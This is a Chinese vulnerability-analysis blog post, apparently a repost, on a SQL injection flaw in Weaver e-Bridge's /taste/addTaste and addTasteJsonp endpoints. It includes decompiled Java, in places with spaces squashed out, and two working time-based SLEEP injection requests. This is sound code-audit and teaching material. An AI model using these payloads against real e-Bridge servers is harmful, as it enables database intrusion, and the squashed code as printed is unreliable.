泛微云桥e-Bridge SQL注入漏洞分析

admin 2024年12月16日13:25:26评论23 views字数 9047阅读30分9秒阅读模式

12月到了,今天带来泛微云桥e-Bridge SQL注入漏洞分析,从环境搭建到漏洞利用一系列操作,技术含量不高,当学习一下java代码审计

环境搭建

https://wxdownload.e-cology.com.cn/ebridge/ebridge_install_win64_server2008R2_20200819.zip

下载Windows版本的泛微云桥e-Bridge,解压后目录结构

泛微云桥e-Bridge SQL注入漏洞分析

第一次运行后需要打补丁

https://wxdownload.e-cology.com.cn/ebridge/ebridge_patch_20230724.zip 

解压文件,得到一个“ROOT”文件夹,直接覆盖到自己泛微云桥目录即可

泛微云桥e-Bridge SQL注入漏洞分析
泛微云桥e-Bridge SQL注入漏洞分析

具体启动参考泛微云桥windows版安装说明.txt ,当前版本:20230724SP2

泛微云桥e-Bridge SQL注入漏洞分析

配置调试环境

泛微云桥e-Bridge SQL注入漏洞分析

找到 tomcat/bin/startup.bat 首行写入如下

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
泛微云桥e-Bridge SQL注入漏洞分析

IDEA 配置远程调试

泛微云桥e-Bridge SQL注入漏洞分析

addTaste 注入

漏洞文件路径:ebridgetomcatwebappsROOTWEB-INFclassesweaverweixintastecontrollerTasteController.class

@ClearInterceptorpublicvoidaddTaste() {Stringcompany= Util.null2String(this.getPara("company"));StringuserName= Util.null2String(this.getPara("userName"));Stringmobile= Util.null2String(this.getPara("mobile"));Stringopenid= Util.null2String(this.getPara("openid"));Stringfrom= Util.null2String(this.getPara("from"), "0");Stringsource= Util.null2String(this.getPara("source"));intstatus=1;Stringmsg=this.saveTaste(company, userName + "(客户)", mobile, from, openid, source);if (msg.equals("")) {         status = 0;      }this.setAttr("status", Integer.valueOf(status));this.setAttr("msg", msg);this.renderJson();   }
泛微云桥e-Bridge SQL注入漏洞分析

addTaste 函数很明显,接收get传入的值,带入到 saveTaste 函数查询

saveTaste

public String saveTaste(String company, String userName, String mobile, String from, String openid, String source) {Stringmsg="";bytestatus=1;try {if (!"".equals(company) && !"".equals(userName) && !"".equals(mobile)) {Stringwxuserid= mobile;Propprop= PropKit.use("taste.properties");Stringsyscorpid= prop.get("syscorpid");Stringoutsysid= prop.get("outsysid");Stringecurl= prop.get("ecurl");intdepartid= prop.getInt("departid");StringewDepartid= prop.get("ewDepartid");Recordrecord= Db.findById("wx_outsys_sysinfo", outsysid);if (record != null) {               ecurl = record.getStr("access_url");Stringecuserid="";               String province;try {MapqueryParas=newHashMap();                  queryParas.put("userName", userName);                  queryParas.put("mobile", mobile);                  queryParas.put("company", company);                  queryParas.put("secret""12345");                  province = HttpKit.post(ecurl + "/mypage/createUser.jsp", queryParas, "");JSONObjectjson= JSONObject.fromObject(province);if (json != null) {if (json.getInt("status") == 0) {                        ecuserid = json.getString("userid");                     } else {                        msg = "在Ecology系统创建体验账号出错:" + json.getString("msg");                     }                  } else {                     msg = "访问ECOLOGY系统出错";                  }               } catch (Exception var41) {                  var41.printStackTrace();                  msg = "在Ecology系统创建体验账号出错:" + var41.getMessage();               }intcode=0;if (msg.equals("")) {try {WxCpUserwxCpUser=newWxCpUser();                     wxCpUser.setUserId(wxuserid);                     wxCpUser.setName(userName);                     wxCpUser.setEmail("");                     wxCpUser.setMobile(mobile);                     wxCpUser.setPosition(company);                     wxCpUser.setWeiXinId("");                     wxCpUser.setDepartIds(newInteger[]{departid});                     CallWxCpApi.userCreate(syscorpid, wxCpUser);                  } catch (WxRuntimeException var43) {                     code = var43.getRunTimeMsg().getErrorCode();if (var43.getRunTimeMsg().getErrorCode() != 60102 && var43.getRunTimeMsg().getErrorCode() != 60104) {                        msg = "在微信中创建体验账号出错:" + var43.getRunTimeMsg().getErrorMsg();                     }                  } catch (Exception var44) {                     msg = "在微信中创建体验账号出错:" + var44.getMessage();                  }               }if (msg.equals("") && code != 60104) {try {ListuList=this.wxCpUserModel.getList(WxCpUserBean.class, "select * from wx_cp_userinfo where wxuserid = '" + wxuserid + "' and outsysid = '" + outsysid + "'");if (uList == null || uList.size() <= 0) {WxCpUserBeancpUser=newWxCpUserBean();                        cpUser.setCreatetime(newDate());                        cpUser.setCreatorid("");                        cpUser.setEmail("");                        cpUser.setImgurl("");                        cpUser.setIsattend(0);                        cpUser.setIssync(1);                        cpUser.setMobile(mobile);                        cpUser.setName(userName);                        cpUser.setOutsysid(outsysid);                        cpUser.setOutuserid(ecuserid);                        cpUser.setPost(company);                        cpUser.setSex(1);                        cpUser.setShoworder(1.0D);                        cpUser.setSyscorpid(syscorpid);                        cpUser.setTenantid("");                        cpUser.setUpdaterid("");                        cpUser.setUpdatetime(newDate());                        cpUser.setWeixin("");                        cpUser.setWxstatus(1);                        cpUser.setWxuserid(wxuserid);booleansaveFlag=this.wxCpUserModel.saveBean(cpUser);if (saveFlag) {this.wxCpUserModel.saveUserDeptRelate(cpUser.getId(), ewDepartid);                        } else {                           msg = "在本地保存体验账号失败";                        }                     }                  } catch (Exception var42) {                     msg = "在本地保存体验账号出错:" + var42.getMessage();                  }               }if (msg.equals("")) {try {                     CallWxCpApi.inviteSend(syscorpid, wxuserid, userName + ":欢迎关注泛微企业号");                  } catch (Exception var40) {                  }               }if (msg.equals("")) {                  status = 0;               }if (!"1".equals(from) && !"2".equals(from) && msg.equals("")) {                  msg = "发起远程请求失败";                  status = 2;try {                     province = "";Stringcity="";                     String cityValue;try {MapqueryParas=newHashMap();                        queryParas.put("phonenum", mobile);Stringpc= HttpKit.post("http://e8demo.weaver.com.cn/login/getCity.jsp", queryParas, "");if (pc != null && !"".equals(pc)) {                           pc = pc.trim();                           pc = pc.substring(1, pc.length() - 1);JSONObjectjson= JSONObject.fromObject(pc);if (json != null) {                              cityValue = Util.null2String(json.getString("city"));if (cityValue.indexOf("-") >= 0) {                                 String[] pcarr = cityValue.split("-");                                 province = pcarr[0];                                 city = pcarr[1];                              }                           }                        }                     } catch (Exception var38) {                     }PostMethodpostMethod=newPostMethod("http://www.weaver.com.cn/subpage/apply/applysubmite4json.asp");                     NameValuePair[] param = newNameValuePair[]{newNameValuePair("name", userName.replace("(客户)""")), newNameValuePair("mobile", mobile), newNameValuePair("company", company), newNameValuePair("type""12"), newNameValuePair("_url""http://wx.weaver.com.cn"), newNameValuePair("province", province), newNameValuePair("city", city), newNameValuePair("source", source)};                     postMethod.setRequestBody(param);                     postMethod.getParams().setParameter("http.protocol.content-charset""GBK");HttpClienthttp=newHttpClient();                     http.getHttpConnectionManager().getParams().setConnectionTimeout(3000);                     http.getHttpConnectionManager().getParams().setSoTimeout(8000);                     http.executeMethod(postMethod);                     cityValue = postMethod.getResponseBodyAsString();JSONObjectjson= JSONObject.fromObject(cityValue);if (json != null && "1".equals(json.getString("result"))) {                        msg = "";                        status = 0;                     }                  } catch (Exception var39) {                     msg = "写入客户库失败:" + var39.getMessage();                     var39.printStackTrace();                  }               }            } else {               msg = "没有根据系统ID查询到相关数据";            }         } else {            msg = "相关参数不完整";         }      } catch (Exception var45) {         var45.printStackTrace();         msg = "添加体验账号程序异常,请联系管理员";      } finally {WxDemoTastet=newWxDemoTaste();         t.setCompany(company);         t.setCreatetime(newDate());         t.setErrormsg(msg);         t.setIpaddress(ToolWeb.getIpAddr(this.getRequest()));         t.setMobile(mobile);         t.setUsername(userName);         t.setTastefrom(from);         t.setOpenid(openid);ListtList=this.wxDemoTasteModel.getList(WxDemoTaste.class, "select * from wx_demo_taste where mobile ='" + mobile + "'");if (tList != null && tList.size() > 0) {            t.setIsrepart(1);         } else {            t.setIsrepart(0);         }         t.setStatus(status);this.wxDemoTasteModel.saveBean(t);      }return msg;   }

343行代码中,sql语句中直接拼接了 mobile 字符串的值,导致漏洞产生。

泛微云桥e-Bridge SQL注入漏洞分析

路由分析

在 TasteController.class 定义了Controller

@Controller(   controllerKey = {"/taste"})
  • • @Controller: 这个注解用于定义一个控制器,目的是将进入的 HTTP 请求路由到类中的方法。
  • • controllerKey: 这是一个属性,允许你指定该控制器映射的 URL 路径。在你的例子中,它将映射到路径 /taste
泛微云桥e-Bridge SQL注入漏洞分析

所以访问 addTaste 函数的路由为:

/taste/addTaste?company=1&userName=1&mobile=1&openid=1&from=0&source=1

漏洞复现

GET /taste/addTaste?company=1&userName=1&openid=1&source=1&mobile=1%27+AND+%28SELECT+8094+FROM+%28SELECT%28SLEEP%289-%28IF%2818015%3E3469%2C0%2C4%29%29%29%29%29mKjk%29+OR+%27KQZm%27%3D%27REcX HTTP/1.1Host: 127.0.0.1:8088
泛微云桥e-Bridge SQL注入漏洞分析

addTasteJsonp 注入

使用jar-analyzer工具搜索该方法被调用的地方

泛微云桥e-Bridge SQL注入漏洞分析

发现 addTasteJsonp 函数一样调用了 saveTaste 漏洞点都是一样的

@ClearInterceptorpublicvoidaddTasteJsonp() {Stringcompany= Util.null2String(this.getPara("company"));StringuserName= Util.null2String(this.getPara("userName"));Stringmobile= Util.null2String(this.getPara("mobile"));Stringjsonp= Util.null2String(this.getPara("jsonpcallback"));Stringfrom= Util.null2String(this.getPara("from"), "1");intstatus=1;Stringmsg=this.saveTaste(company, userName + "(客户)", mobile, from, """");if (msg.equals("")) {         status = 0;      }this.renderText(jsonp + "({status:" + status + "})");   }

在 saveTaste 函数343行代码中,sql语句中直接拼接了 mobile 字符串的值,导致漏洞产生。

泛微云桥e-Bridge SQL注入漏洞分析

漏洞复现

GET /taste/addTasteJsonp?company=1&userName=1&jsonpcallback=1&mobile=1%27%20AND%20(SELECT%208094%20FROM%20(SELECT(SLEEP(3)))mKjk)%20OR%20%27KQZm%27=%27REcX HTTP/1.1Host: 127.0.0.1:8088
泛微云桥e-Bridge SQL注入漏洞分析
泛微云桥e-Bridge SQL注入漏洞分析

原文始发于微信公众号(安全逐梦人):泛微云桥e-Bridge SQL注入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月16日13:25:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微云桥e-Bridge SQL注入漏洞分析https://cn-sec.com/archives/3511723.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息